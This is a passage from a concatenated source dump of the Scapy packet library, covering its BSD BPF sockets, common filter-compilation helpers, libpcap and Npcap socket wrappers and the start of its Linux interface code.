flags on this file descriptor !") return # Set the non blocking flag if set_flag: new_fd_flags = self.fd_flags | os.O_NONBLOCK else: new_fd_flags = self.fd_flags & ~os.O_NONBLOCK try: fcntl.fcntl(self.bpf_fd, fcntl.F_SETFL, new_fd_flags) self.fd_flags = new_fd_flags except Exception: warning("Can't set flags on this file descriptor !") def get_stats(self): # type: () -> Tuple[Optional[int], Optional[int]] """Get received / dropped statistics""" try: ret = fcntl.ioctl(self.bpf_fd, BIOCGSTATS, struct.pack("2I", 0, 0)) return struct.unpack("2I", ret) except IOError: warning("Unable to get stats from BPF !") return (None, None) def get_blen(self): # type: () -> Optional[int] """Get the BPF buffer length""" try: ret = fcntl.ioctl(self.bpf_fd, BIOCGBLEN, struct.pack("I", 0)) return struct.unpack("I", ret)[0] # type: ignore except IOError: warning("Unable to get the BPF buffer length") return None def fileno(self): # type: () -> int """Get the underlying file descriptor""" return self.bpf_fd def close(self): # type: () -> None """Close the Super Socket""" if not self.closed and self.bpf_fd != -1: os.close(self.bpf_fd) self.closed = True self.bpf_fd = -1 @abc.abstractmethod def send(self, x): # type: (Packet) -> int """Dummy send method""" raise Exception( "Can't send anything with %s" % self.__class__.__name__ ) @abc.abstractmethod def recv_raw(self, x=BPF_BUFFER_LENGTH): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Dummy recv method""" raise Exception( "Can't recv anything with %s" % self.__class__.__name__ ) @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] """This function is called during sendrecv() routine to select the available sockets. """ # sockets, None (means use the socket's recv() ) return bpf_select(sockets, remain) class L2bpfListenSocket(_L2bpfSocket): """"Scapy L2 BPF Listen Super Socket""" def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None self.received_frames = [] # type: List[Tuple[Optional[type], Optional[bytes], Optional[float]]] # noqa: E501 super(L2bpfListenSocket, self).__init__(*args, **kwargs) def buffered_frames(self): # type: () -> int """Return the number of frames in the buffer""" return len(self.received_frames) def get_frame(self): # type: () -> Tuple[Optional[type], Optional[bytes], Optional[float]] """Get a frame or packet from the received list""" if self.received_frames: return self.received_frames.pop(0) else: return None, None, None @staticmethod def bpf_align(bh_h, bh_c): # type: (int, int) -> int """Return the index to the end of the current packet""" # from return ((bh_h + bh_c) + (BPF_ALIGNMENT - 1)) & ~(BPF_ALIGNMENT - 1) def extract_frames(self, bpf_buffer): # type: (bytes) -> None """ Extract all frames from the buffer and stored them in the received list """ # Ensure that the BPF buffer contains at least the header len_bb = len(bpf_buffer) if len_bb < _bpf_hdr_len: return # Extract useful information from the BPF header bh_hdr = bpf_hdr.from_buffer_copy(bpf_buffer) if bh_hdr.bh_datalen == 0: return # Get and store the Scapy object frame_str = bpf_buffer[ bh_hdr.bh_hdrlen:bh_hdr.bh_hdrlen + bh_hdr.bh_caplen ] if _NANOTIME: ts = bh_hdr.bh_tstamp.tv_sec + 1e-9 * bh_hdr.bh_tstamp.tv_nsec else: ts = bh_hdr.bh_tstamp.tv_sec + 1e-6 * bh_hdr.bh_tstamp.tv_usec self.received_frames.append( (self.guessed_cls, frame_str, ts) ) # Extract the next frame end = self.bpf_align(bh_hdr.bh_hdrlen, bh_hdr.bh_caplen) if (len_bb - end) >= 20: self.extract_frames(bpf_buffer[end:]) def recv_raw(self, x=BPF_BUFFER_LENGTH): # type: (int) -> Tuple[Optional[type], Optional[bytes], Optional[float]] """Receive a frame from the network""" x = min(x, BPF_BUFFER_LENGTH) if self.buffered_frames(): # Get a frame from the buffer return self.get_frame() # Get data from BPF try: bpf_buffer = os.read(self.bpf_fd, x) except EnvironmentError as exc: if exc.errno != errno.EAGAIN: warning("BPF recv_raw()", exc_info=True) return None, None, None # Extract all frames from the BPF buffer self.extract_frames(bpf_buffer) return self.get_frame() class L2bpfSocket(L2bpfListenSocket): """"Scapy L2 BPF Super Socket""" def send(self, x): # type: (Packet) -> int """Send a frame""" return os.write(self.bpf_fd, raw(x)) def nonblock_recv(self): # type: () -> Optional[Packet] """Non blocking receive""" if self.buffered_frames(): # Get a frame from the buffer return L2bpfListenSocket.recv(self) # Set the non blocking flag, read from the socket, and unset the flag self.set_nonblock(True) pkt = L2bpfListenSocket.recv(self) self.set_nonblock(False) return pkt class L3bpfSocket(L2bpfSocket): def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] nofilter=0, # type: int monitor=False, # type: bool ): super(L3bpfSocket, self).__init__( iface=iface, type=type, promisc=promisc, filter=filter, nofilter=nofilter, monitor=monitor, ) self.filter = filter self.send_socks = {network_name(self.iface): self} def recv(self, x: int = BPF_BUFFER_LENGTH, **kwargs: Any) -> Optional['Packet']: """Receive on layer 3""" r = SuperSocket.recv(self, x, **kwargs) if r: r.payload.time = r.time return r.payload return r def send(self, pkt): # type: (Packet) -> int """Send a packet""" from scapy.layers.l2 import Loopback # Use the routing table to find the output interface iff = pkt.route()[0] if iff is None: iff = network_name(conf.iface) # Assign the network interface to the BPF handle if iff not in self.send_socks: self.send_socks[iff] = L3bpfSocket( iface=iff, type=self.type, filter=self.filter, promisc=self.promisc, ) fd = self.send_socks[iff] # Build the frame # # LINKTYPE_NULL / DLT_NULL (Loopback) is a special case. From the # bpf(4) man page (from macOS/Darwin, but also for BSD): # # "A packet can be sent out on the network by writing to a bpf file # descriptor. [...] Currently only writes to Ethernets and SLIP links # are supported." # # Headers are only mentioned for reads, not writes, and it has the # name "NULL" and id=0. # # The _correct_ behaviour appears to be that one should add a BSD # Loopback header to every sent packet. This is needed by FreeBSD's # if_lo, and Darwin's if_lo & if_utun. # # tuntaposx appears to have interpreted "NULL" as "no headers". # Thankfully its interfaces have a different name (tunX) to Darwin's # if_utun interfaces (utunX). # # There might be other drivers which make the same mistake as # tuntaposx, but these are typically provided with VPN software, and # Apple are breaking these kexts in a future version of macOS... so # the problem will eventually go away. They already don't work on Macs # with Apple Silicon (M1). if DARWIN and iff.startswith('tun') and self.guessed_cls == Loopback: frame = pkt elif FREEBSD and (iff.startswith('tun') or iff.startswith('tap')): # On FreeBSD, the bpf manpage states that it is only possible # to write packets to Ethernet and SLIP network interfaces # using /dev/bpf # # Note: `open("/dev/tun0", "wb").write(raw(pkt())) should be # used warning("Cannot write to %s according to the documentation!", iff) return else: frame = fd.guessed_cls() / pkt pkt.sent_time = time.time() # Send the frame return L2bpfSocket.send(fd, frame) @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] socks = [] # type: List[SuperSocket] for sock in sockets: if isinstance(sock, L3bpfSocket): socks += sock.send_socks.values() else: socks.append(sock) return L2bpfSocket.select(socks, remain=remain) # Sockets manipulation functions def bpf_select(fds_list, timeout=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] """A call to recv() can return several frames. This functions hides the fact that some frames are read from the internal buffer.""" # Check file descriptors types bpf_scks_buffered = list() # type: List[SuperSocket] select_fds = list() for tmp_fd in fds_list: # Specific BPF sockets: get buffers status if isinstance(tmp_fd, L2bpfListenSocket) and tmp_fd.buffered_frames(): bpf_scks_buffered.append(tmp_fd) continue # Regular file descriptors or empty BPF buffer select_fds.append(tmp_fd) if select_fds: # Call select for sockets with empty buffers if timeout is None: timeout = 0.05 ready_list, _, _ = select(select_fds, [], [], timeout) return bpf_scks_buffered + ready_list else: return bpf_scks_buffered ================================================ FILE: scapy/arch/common.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Functions common to different architectures """ import ctypes import re import socket from scapy.config import conf from scapy.data import MTU, ARPHRD_TO_DLT, DLT_RAW_ALT, DLT_RAW from scapy.error import Scapy_Exception, warning from scapy.interfaces import network_name, resolve_iface, NetworkInterface from scapy.libs.structures import bpf_program from scapy.pton_ntop import inet_pton from scapy.utils import decode_locale_str # Type imports import scapy from typing import ( List, Optional, Union, ) # From if.h _iff_flags = [ "UP", "BROADCAST", "DEBUG", "LOOPBACK", "POINTTOPOINT", "NOTRAILERS", "RUNNING", "NOARP", "PROMISC", "ALLMULTI", "MASTER", "SLAVE", "MULTICAST", "PORTSEL", "AUTOMEDIA", "DYNAMIC", "LOWER_UP", "DORMANT", "ECHO" ] def get_if_raw_addr(iff): # type: (Union[NetworkInterface, str]) -> bytes """Return the raw IPv4 address of interface""" iff = resolve_iface(iff) if not iff.ip: return b"\x00" * 4 return inet_pton(socket.AF_INET, iff.ip) # BPF HANDLERS def compile_filter(filter_exp, # type: str iface=None, # type: Optional[Union[str, 'scapy.interfaces.NetworkInterface']] # noqa: E501 linktype=None, # type: Optional[int] promisc=False # type: bool ): # type: (...) -> bpf_program """Asks libpcap to parse the filter, then build the matching BPF bytecode. :param iface: if provided, use the interface to compile :param linktype: if provided, use the linktype to compile """ try: from scapy.libs.winpcapy import ( PCAP_ERRBUF_SIZE, pcap_open_live, pcap_compile, pcap_compile_nopcap, pcap_close ) except OSError: raise ImportError( "libpcap is not available. Cannot compile filter !" ) from ctypes import create_string_buffer bpf = bpf_program() bpf_filter = create_string_buffer(filter_exp.encode("utf8")) if not linktype: # Try to guess linktype to avoid root if not iface: if not conf.iface: raise Scapy_Exception( "Please provide an interface or linktype!" ) iface = conf.iface # Try to guess linktype to avoid requiring root try: arphd = resolve_iface(iface).type linktype = ARPHRD_TO_DLT.get(arphd) except Exception: # Failed to use linktype: use the interface pass if linktype is not None: # Some conversion aliases (e.g. linktype_to_dlt in libpcap) if linktype == DLT_RAW_ALT: linktype = DLT_RAW ret = pcap_compile_nopcap( MTU, linktype, ctypes.byref(bpf), bpf_filter, 1, -1 ) elif iface: err = create_string_buffer(PCAP_ERRBUF_SIZE) iface_b = create_string_buffer(network_name(iface).encode("utf8")) pcap = pcap_open_live( iface_b, MTU, promisc, 0, err ) error = decode_locale_str(bytearray(err).strip(b"\x00")) if error: raise OSError(error) ret = pcap_compile( pcap, ctypes.byref(bpf), bpf_filter, 1, -1 ) pcap_close(pcap) if ret == -1: raise Scapy_Exception( "Failed to compile filter expression %s (%s)" % (filter_exp, ret) ) return bpf def free_filter(bp: bpf_program) -> None: """ Free a bpf_program created with compile_filter """ from scapy.libs.winpcapy import pcap_freecode pcap_freecode(ctypes.byref(bp)) ####### # DNS # ####### def read_nameservers() -> List[str]: """Return the nameservers configured by the OS """ try: with open('/etc/resolv.conf', 'r') as fd: return re.findall(r"nameserver\s+([^\s]+)", fd.read()) except FileNotFoundError: warning("Could not retrieve the OS's nameserver !") return [] ================================================ FILE: scapy/arch/libpcap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Packet sending and receiving libpcap/WinPcap. """ import os import platform import socket import struct import time from scapy.automaton import select_objects from scapy.compat import raw, plain_str from scapy.config import conf from scapy.consts import WINDOWS, LINUX, BSD, SOLARIS from scapy.data import ( DLT_RAW_ALT, DLT_RAW, ETH_P_ALL, MTU, ) from scapy.error import ( Scapy_Exception, log_loading, log_runtime, warning, ) from scapy.interfaces import ( InterfaceProvider, NetworkInterface, _GlobInterfaceType, network_name, ) from scapy.packet import Packet from scapy.pton_ntop import inet_ntop from scapy.supersocket import SuperSocket from scapy.utils import str2mac, decode_locale_str import scapy.consts from typing import ( Any, Dict, List, NoReturn, Optional, Tuple, Type, cast, ) if not scapy.consts.WINDOWS: from fcntl import ioctl # AF_LINK is only available and provided on BSD (MAC) # but because we use its value elsewhere, let's patch it. if not hasattr(socket, "AF_LINK"): socket.AF_LINK = 18 # type: ignore ############ # COMMON # ############ # From BSD net/bpf.h # BIOCIMMEDIATE = 0x80044270 BIOCIMMEDIATE = -2147204496 # https://github.com/the-tcpdump-group/libpcap/blob/master/pcap/pcap.h PCAP_IF_UP = 0x00000002 # interface is up _pcap_if_flags = [ "LOOPBACK", "UP", "RUNNING", "WIRELESS", "OK", "DISCONNECTED", "NA" ] class _L2libpcapSocket(SuperSocket): __slots__ = ["pcap_fd", "lvl"] def __init__(self, fd): # type: (_PcapWrapper_libpcap) -> None self.pcap_fd = fd ll = self.pcap_fd.datalink() if ll in conf.l2types: self.LL = conf.l2types[ll] if ll in [ DLT_RAW, DLT_RAW_ALT, ]: self.lvl = 3 else: self.lvl = 2 else: self.LL = conf.default_l2 warning( "Unable to guess datalink type " "(interface=%s linktype=%i). Using %s", self.iface, ll, self.LL.name ) def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """ Receives a packet, then returns a tuple containing (cls, pkt_data, time) """ ts, pkt = self.pcap_fd.next() if pkt is None: return None, None, None return self.LL, pkt, ts def nonblock_recv(self, x=MTU): # type: (int) -> Optional[Packet] """Receives and dissect a packet in non-blocking mode.""" self.pcap_fd.setnonblock(True) p = self.recv(x) self.pcap_fd.setnonblock(False) return p def fileno(self): # type: () -> int return self.pcap_fd.fileno() @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] return select_objects(sockets, remain) def close(self): # type: () -> None if self.closed: return self.closed = True if hasattr(self, "pcap_fd"): # If failed to open, won't exist self.pcap_fd.close() ########## # PCAP # ########## if WINDOWS: NPCAP_PATH = "" if conf.use_pcap: if WINDOWS: # Windows specific NPCAP_PATH = os.environ["WINDIR"] + "\\System32\\Npcap" from scapy.libs.winpcapy import pcap_setmintocopy, pcap_getevent else: from scapy.libs.winpcapy import pcap_get_selectable_fd from ctypes import POINTER, byref, create_string_buffer, c_ubyte, cast as ccast # Part of the Winpcapy integration was inspired by phaethon/scapy # but he destroyed the commit history, so there is no link to that try: from scapy.libs.winpcapy import ( PCAP_ERRBUF_SIZE, PCAP_ERROR, PCAP_ERROR_NO_SUCH_DEVICE, PCAP_ERROR_PERM_DENIED, bpf_program, pcap_close, pcap_compile, pcap_datalink, pcap_findalldevs, pcap_freealldevs, pcap_geterr, pcap_if_t, pcap_lib_version, pcap_next_ex, pcap_open_live, pcap_pkthdr, pcap_setfilter, pcap_setnonblock, sockaddr_in, sockaddr_in6, ) try: from scapy.libs.winpcapy import pcap_inject except ImportError: # Fallback for Winpcap... (for how long?) from scapy.libs.winpcapy import pcap_sendpacket as pcap_inject def load_winpcapy(): # type: () -> None """This functions calls libpcap ``pcap_findalldevs`` function, and extracts and parse all the data scapy will need to build the Interface List. The data will be stored in ``conf.cache_pcapiflist`` """ from scapy.fields import FlagValue err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() if_list = {} if pcap_findalldevs(byref(devs), err) < 0: return try: p = devs # Iterate through the different interfaces while p: name = plain_str(p.contents.name) # GUID description = plain_str( p.contents.description or "" ) # DESC flags = p.contents.flags # FLAGS ips = [] mac = "" itype = -1 a = p.contents.addresses while a: # IPv4 address family = a.contents.addr.contents.sa_family ap = a.contents.addr if family == socket.AF_INET: val = ccast(ap, POINTER(sockaddr_in)) addr_raw = val.contents.sin_addr[:] elif family == socket.AF_INET6: val = ccast(ap, POINTER(sockaddr_in6)) addr_raw = val.contents.sin6_addr[:] elif family == socket.AF_LINK: # Special case: MAC # (AF_LINK is mostly BSD specific) val = ap.contents.sa_data mac = str2mac(bytes(bytearray(val[:6]))) a = a.contents.next continue else: # Unknown AF a = a.contents.next continue addr = inet_ntop(family, bytes(bytearray(addr_raw))) if addr != "0.0.0.0": ips.append(addr) a = a.contents.next flags = FlagValue(flags, _pcap_if_flags) if_list[name] = (description, ips, flags, mac, itype) p = p.contents.next conf.cache_pcapiflist = if_list except Exception: raise finally: pcap_freealldevs(devs) except OSError: conf.use_pcap = False if WINDOWS: if conf.interactive: log_loading.critical( "Npcap/Winpcap is not installed ! See " "https://scapy.readthedocs.io/en/latest/installation.html#windows" # noqa: E501 ) else: if conf.interactive: log_loading.critical( "Libpcap is not installed!" ) else: if WINDOWS: # Detect Pcap version: check for Npcap version = pcap_lib_version() if b"winpcap" in version.lower(): if os.path.exists(NPCAP_PATH + "\\wpcap.dll"): warning("Winpcap is installed over Npcap. " "Will use Winpcap (see 'Winpcap/Npcap conflicts' " "in Scapy's docs)") elif platform.release() != "XP": warning("WinPcap is now deprecated (not maintained). " "Please use Npcap instead") elif b"npcap" in version.lower(): conf.use_npcap = True conf.loopback_name = conf.loopback_name = "Npcap Loopback Adapter" # noqa: E501 if conf.use_pcap: class _PcapWrapper_libpcap: # noqa: F811 """Wrapper for the libpcap calls""" def __init__(self, device, # type: _GlobInterfaceType snaplen, # type: int promisc, # type: bool to_ms, # type: int monitor=None, # type: Optional[bool] ): # type: (...) -> None self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) self.iface = create_string_buffer( network_name(device).encode("utf8") ) self.dtl = -1 if not WINDOWS or conf.use_npcap: from scapy.libs.winpcapy import pcap_create self.pcap = pcap_create(self.iface, self.errbuf) if not self.pcap: error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) # Non-winpcap functions from scapy.libs.winpcapy import ( pcap_set_snaplen, pcap_set_promisc, pcap_set_timeout, pcap_set_rfmon, pcap_activate, pcap_statustostr, pcap_geterr, ) if pcap_set_snaplen(self.pcap, snaplen) != 0: error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) log_runtime.error("Could not set snaplen") if pcap_set_promisc(self.pcap, promisc) != 0: error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) log_runtime.error("Could not set promisc") if pcap_set_timeout(self.pcap, to_ms) != 0: error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) log_runtime.error("Could not set timeout") if monitor: if pcap_set_rfmon(self.pcap, 1) != 0: error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) log_runtime.error("Could not set monitor mode") status = pcap_activate(self.pcap) # status == 0 means success # status < 0 means error # status > 0 means success, but with a warning if status < 0: # self.iface, and strings we get back from # pcap_geterr() and pcap_statustostr(), have the # type "bytes". # # decode_locale_str() turns them into strings. iface = decode_locale_str( bytearray(self.iface).strip(b"\x00") ) errstr = decode_locale_str( bytearray(pcap_geterr(self.pcap)).strip(b"\x00") ) statusstr = decode_locale_str( bytearray(pcap_statustostr(status)).strip(b"\x00") ) if status == PCAP_ERROR: errmsg = errstr elif status == PCAP_ERROR_NO_SUCH_DEVICE: errmsg = "%s: %s\n(%s)" % (iface, statusstr, errstr) elif status == PCAP_ERROR_PERM_DENIED and errstr != "": errmsg = "%s: %s\n(%s)" % (iface, statusstr, errstr) else: errmsg = "%s: %s" % (iface, statusstr) raise OSError(errmsg) else: if WINDOWS and monitor: raise OSError("On Windows, this feature requires NPcap !") self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf) error = decode_locale_str(bytearray(self.errbuf).strip(b"\x00")) if error: raise OSError(error) if WINDOWS: # On Windows, we need to cache whether there are still packets in the # queue or not. When they aren't, then we select normally like on linux. self.remaining = True # Winpcap/Npcap exclusive: make every packet to be instantly # returned, and not buffered within Winpcap/Npcap pcap_setmintocopy(self.pcap, 0) self.header = POINTER(pcap_pkthdr)() self.pkt_data = POINTER(c_ubyte)() self.bpf_program = bpf_program() def next(self): # type: () -> Tuple[Optional[float], Optional[bytes]] """ Returns the next packet as the tuple (timestamp, raw_packet) """ c = pcap_next_ex( self.pcap, byref(self.header), byref(self.pkt_data) ) if not c > 0: self.remaining = False # we emptied the queue return None, None else: self.remaining = True ts = ( self.header.contents.ts.tv_sec + float(self.header.contents.ts.tv_usec) / 1e6 ) pkt = bytes(bytearray( self.pkt_data[:self.header.contents.len] )) return ts, pkt __next__ = next def datalink(self): # type: () -> int """Wrapper around pcap_datalink""" if self.dtl == -1: self.dtl = pcap_datalink(self.pcap) return self.dtl def fileno(self): # type: () -> int if WINDOWS: if self.remaining: # Still packets in the queue. Don't select return -1 return cast(int, pcap_getevent(self.pcap)) else: # This does not exist under Windows return cast(int, pcap_get_selectable_fd(self.pcap)) def setfilter(self, f): # type: (str) -> None filter_exp = create_string_buffer(f.encode("utf8")) if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 1, -1) >= 0: # noqa: E501 if pcap_setfilter(self.pcap, byref(self.bpf_program)) >= 0: # Success return errstr = decode_locale_str( bytearray(pcap_geterr(self.pcap)).strip(b"\x00") ) raise Scapy_Exception("Cannot set filter: %s" % errstr) def setnonblock(self, i): # type: (bool) -> None pcap_setnonblock(self.pcap, i, self.errbuf) def send(self, x): # type: (bytes) -> int return pcap_inject(self.pcap, x, len(x)) # type: ignore def close(self): # type: () -> None pcap_close(self.pcap) open_pcap = _PcapWrapper_libpcap class LibpcapProvider(InterfaceProvider): """ Load interfaces from Libpcap on non-Windows machines """ name = "libpcap" libpcap = True def load(self): # type: () -> Dict[str, NetworkInterface] if not conf.use_pcap or WINDOWS: return {} if not conf.cache_pcapiflist: load_winpcapy() data = {} i = 0 for ifname, dat in conf.cache_pcapiflist.items(): description, ips, flags, mac, itype = dat i += 1 if LINUX or BSD or SOLARIS and not mac: from scapy.arch.unix import get_if_raw_hwaddr try: itype, _mac = get_if_raw_hwaddr(ifname) mac = str2mac(_mac) except Exception: # There are at least 3 different possible exceptions mac = "00:00:00:00:00:00" if_data = { 'name': ifname, 'description': description or ifname, 'network_name': ifname, 'index': i, 'mac': mac, 'type': itype, 'ips': ips, 'flags': flags } data[ifname] = NetworkInterface(self, if_data) return data def reload(self): # type: () -> Dict[str, NetworkInterface] if conf.use_pcap: from scapy.arch.libpcap import load_winpcapy load_winpcapy() return self.load() if not WINDOWS: conf.ifaces.register_provider(LibpcapProvider) # pcap sockets class L2pcapListenSocket(_L2libpcapSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] monitor=None, # type: Optional[bool] ): # type: (...) -> None self.type = type self.outs = None if iface is None: iface = conf.iface self.iface = iface if promisc is not None: self.promisc = promisc else: self.promisc = conf.sniff_promisc self.monitor = monitor fd = open_pcap( device=iface, snaplen=MTU, promisc=self.promisc, to_ms=100, monitor=self.monitor, ) super(L2pcapListenSocket, self).__init__(fd) try: if not WINDOWS: ioctl( self.pcap_fd.fileno(), BIOCIMMEDIATE, struct.pack("I", 1) ) except Exception: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given # noqa: E501 if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 else: filter = "not (%s)" % conf.except_filter if filter: self.pcap_fd.setfilter(filter) def send(self, x): # type: (Packet) -> NoReturn raise Scapy_Exception( "Can't send anything with L2pcapListenSocket" ) class L2pcapSocket(_L2libpcapSocket): desc = "read/write packets at layer 2 using only libpcap" def __init__(self, iface=None, # type: Optional[_GlobInterfaceType] type=ETH_P_ALL, # type: int promisc=None, # type: Optional[bool] filter=None, # type: Optional[str] nofilter=0, # type: int monitor=None # type: Optional[bool] ): # type: (...) -> None if iface is None: iface = conf.iface self.iface = iface self.type = type if promisc is not None: self.promisc = promisc else: self.promisc = conf.sniff_promisc self.monitor = monitor fd = open_pcap( device=iface, snaplen=MTU, promisc=self.promisc, to_ms=100, monitor=self.monitor, ) super(L2pcapSocket, self).__init__(fd) try: if not WINDOWS: ioctl( self.pcap_fd.fileno(), BIOCIMMEDIATE, struct.pack("I", 1) ) except Exception: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap if filter: filter = "(ether proto %i) and (%s)" % (type, filter) else: filter = "ether proto %i" % type self.filter = filter if filter: self.pcap_fd.setfilter(filter) def send(self, x): # type: (Packet) -> int sx = raw(x) try: x.sent_time = time.time() except AttributeError: pass return self.pcap_fd.send(sx) class L3pcapSocket(L2pcapSocket): desc = "read/write packets at layer 3 using only libpcap" def __init__(self, *args, **kwargs): # type: (*Any, **Any) -> None super(L3pcapSocket, self).__init__(*args, **kwargs) self.send_socks = {network_name(self.iface): self} def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] r = L2pcapSocket.recv(self, x, **kwargs) if r and self.lvl == 2: r.payload.time = r.time return r.payload return r def send(self, x): # type: (Packet) -> int # Select the file descriptor to send the packet on. iff = x.route()[0] if iff is None: iff = network_name(conf.iface) type_x = type(x) if iff not in self.send_socks: self.send_socks[iff] = L3pcapSocket( iface=iff, type=self.type, filter=self.filter, promisc=self.promisc, monitor=self.monitor, ) sock = self.send_socks[iff] fd = sock.pcap_fd if sock.lvl == 3: if not issubclass(sock.LL, type_x): warning("Incompatible L3 types detected using %s instead of %s !", type_x, sock.LL) sock.LL = type_x if sock.lvl == 2: sx = bytes(sock.LL() / x) else: sx = bytes(x) # Now send. try: x.sent_time = time.time() except AttributeError: pass return fd.send(sx) @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] socks = [] # type: List[SuperSocket] for sock in sockets: if isinstance(sock, L3pcapSocket): socks += sock.send_socks.values() else: socks.append(sock) return L2pcapSocket.select(socks, remain=remain) def close(self): # type: () -> None if self.closed: return super(L3pcapSocket, self).close() for fd in self.send_socks.values(): if fd is not self: fd.close() ================================================ FILE: scapy/arch/linux/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Linux specific functions. """ from fcntl import ioctl from select import select import ctypes import os import socket import struct import subprocess import sys import time from scapy.compat import raw from scapy.consts import LINUX from scapy.arch.common import compile_filter, free_filter from scapy.config import conf from scapy.data import MTU, ETH_P_ALL, SOL_PACKET, SO_ATTACH_FILTER, \ SO_TIMESTAMPNS from scapy.error import ( ScapyInvalidPlatformException, Scapy_Exception, log_runtime, warning, ) from scapy.interfaces import ( InterfaceProvider, NetworkInterface, _GlobInterfaceType, network_name, resolve_iface, ) from scapy.libs.structures import sock_fprog from scapy.packet import Packet, Padding from scapy.supersocket import SuperSocket # re-export from scapy.arch.common import get_if_raw_addr, read_nameservers # noqa: F401 from scapy.arch.linux.rtnetlink import ( # noqa: F401 read_routes, read_routes6, in6_getifaddr, _get_if_list, ) # Typing imports from typing import ( Any, Dict, List, NoReturn, Optional, Tuple, Type, Union, ) # From sockios.h SIOCGIFHWADDR = 0x8927 # Get hardware address SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891b # get network PA mask SIOCGIFNAME = 0x8910 # get iface name SIOCSIFLINK = 0x8911 # set iface channel SIOCGIFCONF = 0x8912 # get iface list SIOCGIFFLAGS = 0x8913 # get flags SIOCSIFFLAGS = 0x8914 # set flags SIOCGIFINDEX = 0x8933 # name -> if_index mapping SIOCGIFCOUNT = 0x8938 # get number of devices SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) # From if.h IFF_UP = 0x1 # Interface is up. IFF_BROADCAST = 0x2 # Broadcast address valid. IFF_DEBUG = 0x4 # Turn on debugging. IFF_LOOPBACK = 0x8 # Is a loopback net. IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. IFF_NOTRAILERS = 0x20 # Avoid use of trailers. IFF_RUNNING = 0x40 # Resources allocated. IFF_NOARP = 0x80 # No address resolution protocol. IFF_PROMISC = 0x100 # Receive all packets. # From netpacket/packet.h PACKET_ADD_MEMBERSHIP = 1 PACKET_DROP_MEMBERSHIP = 2 PACKET_RECV_OUTPUT = 3 PACKET_RX_RING = 5 PACKET_STATISTICS = 6 PACKET_MR_MULTICAST = 0 PACKET_MR_PROMISC = 1 PACKET_MR_ALLMULTI = 2 # From net/route.h RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 # From if_packet.h PACKET_HOST = 0 # To us PACKET_BROADCAST = 1 # To all PACKET_MULTICAST = 2 # To group PACKET_OTHERHOST = 3 # To someone else PACKET_OUTGOING = 4 # Outgoing of any type PACKET_LOOPBACK = 5 # MC/BRD frame looped back PACKET_USER = 6 # To user space PACKET_KERNEL = 7 # To kernel space PACKET_AUXDATA = 8 PACKET_FASTROUTE = 6 # Fastrouted frame # Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space # Utils def attach_filter(sock, bpf_filter, iface): # type: (socket.socket, str, _GlobInterfaceType) -> None """ Compile bpf filter and attach it to a socket :param sock: the python socket :param bpf_filter: the bpf string filter to compile :param iface: the interface used to compile """ bp = compile_filter(bpf_filter, iface) if conf.use_pypy and sys.pypy_version_info <= (7, 3, 2): # type: ignore # PyPy < 7.3.2 has a broken behavior # https://foss.heptapod.net/pypy/pypy/-/issues/3298 fp = struct.pack( 'HL', bp.bf_len, ctypes.addressof(bp.bf_insns.contents) ) else: fp = sock_fprog(bp.bf_len, bp.bf_insns) # type: ignore sock.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER, fp) free_filter(bp) def set_promisc(s, iff, val=1): # type: (socket.socket, _GlobInterfaceType, int) -> None _iff = resolve_iface(iff) mreq = struct.pack("IHH8s", _iff.index, PACKET_MR_PROMISC, 0, b"") if val: cmd = PACKET_ADD_MEMBERSHIP else: cmd = PACKET_DROP_MEMBERSHIP s.setsockopt(SOL_PACKET, cmd, mreq) # Interface provider class LinuxInterfaceProvider(InterfaceProvider): name = "sys" def _is_valid(self, dev): # type: (NetworkInterface) -> bool return bool(dev.flags & IFF_UP) def load(self): # type: () -> Dict[str, NetworkInterface] data = {} for iface in _get_if_list().values(): 